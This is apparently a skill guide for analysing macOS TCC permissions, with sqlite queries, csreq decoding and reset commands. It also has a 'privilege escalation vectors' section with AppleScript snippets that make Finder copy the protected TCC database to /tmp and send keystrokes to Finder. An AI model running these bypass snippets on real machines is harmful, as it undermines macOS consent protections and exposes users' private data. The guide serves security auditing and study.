Macos Tcc Analyzer

macOS TCC Analyzer

A skill for analyzing macOS TCC (Transparency, Consent, and Control) permissions, querying TCC databases, and identifying potential privilege escalation vectors.

What is TCC?

TCC is macOS's security framework that regulates application permissions for sensitive features like:

• Location services
• Contacts, photos, microphone, camera
• Accessibility
• Full Disk Access (FDA)
• Automation (Apple Events)

Quick Start

Query User TCC Database

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> select service, client, auth_value from access;

Query System TCC Database

sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> select service, client, auth_value from access;

Check Specific App Permissions

# Approved permissions for an app
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "select service, client, auth_value from access where client LIKE '%telegram%' and auth_value=2;"

# Denied permissions
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "select service, client, auth_value from access where client LIKE '%telegram%' and auth_value=0;"

TCC Database Locations

Auth Values

Auth Reasons

Common TCC Services

TCC Privilege Escalation Vectors

1. Automation + Finder → FDA*

If you have kTCCServiceAppleEvents over Finder, you can use AppleScript to make Finder copy TCC databases:

osascript<<EOD
tell application "Finder"
    set homeFolder to path to home folder as string
    set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
    set targetFolder to POSIX file "/tmp" as alias
    duplicate file sourceFile to targetFolder with replacing
end tell
EOD

2. System Events + Accessibility → FDA*

With kTCCServicePostEvent + kTCCServiceAccessibility, you can send keystrokes to processes:

tell application "System Events"
    tell application "Finder" to activate
    keystroke "g" using {command down, shift down}
    delay 1
    keystroke "/tmp"
    delay 1
    keystroke return
end tell

3. Endpoint Security Client → FDA

Having kTCCServiceEndpointSecurityClient grants Full Disk Access immediately.

4. SIP Bypass → TCC Bypass

If you can bypass SIP, you can:

• Modify system TCC database
• Modify AllowApplicationsList.plist to add your app
• Remove protection from TCC databases

TCC Signature Checks

TCC stores code signing requirements (csreq) to verify the requesting app:

# Get csreq from database
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "select service, client, hex(csreq) from access where auth_value=2;"

# Decode csreq
echo "FADE0C00..." | xxd -r -p > csreq.bin
csreq -t -r csreq.bin

# Create new csreq for an app
REQ_STR=$(codesign -d -r- /Applications/YourApp.app 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin

Reset TCC Permissions

# Reset all permissions for an app
tccutil reset All com.example.app

# Reset all permissions for all apps
tccutil reset All

User Intent / com.apple.macl

Files can have extended attributes granting specific app access:

# Check file's macl attribute
xattr filename

# Read macl details
macl_read filename

# Get app UUID
otool -l /Applications/YourApp.app/Contents/MacOS/YourApp | grep uuid

Helper Scripts

Use the bundled scripts for common tasks:

• query-tcc-database.sh - Query TCC databases with filters
• check-app-permissions.sh - Check all permissions for a specific app
• generate-tcc-report.sh - Generate comprehensive TCC permission report
• extract-csreq.sh - Extract and decode csreq from TCC database

Security Considerations

1. TCC databases are protected - User database requires TCC privileges to read/write, system database requires SIP bypass
2. Signature verification - Apps must match stored csreq to use granted permissions
3. Entitlements matter - Apps need proper entitlements to request certain permissions
4. Responsible process - TCC tracks the GUI app responsible, not just the requesting process
5. Finder always has FDA - But you can't execute arbitrary code through it

References

• macOS TCC DB Deep Dive
• Track and Tackle com.apple.macl
• Bypassing macOS TCC
• newosxbook.com entitlements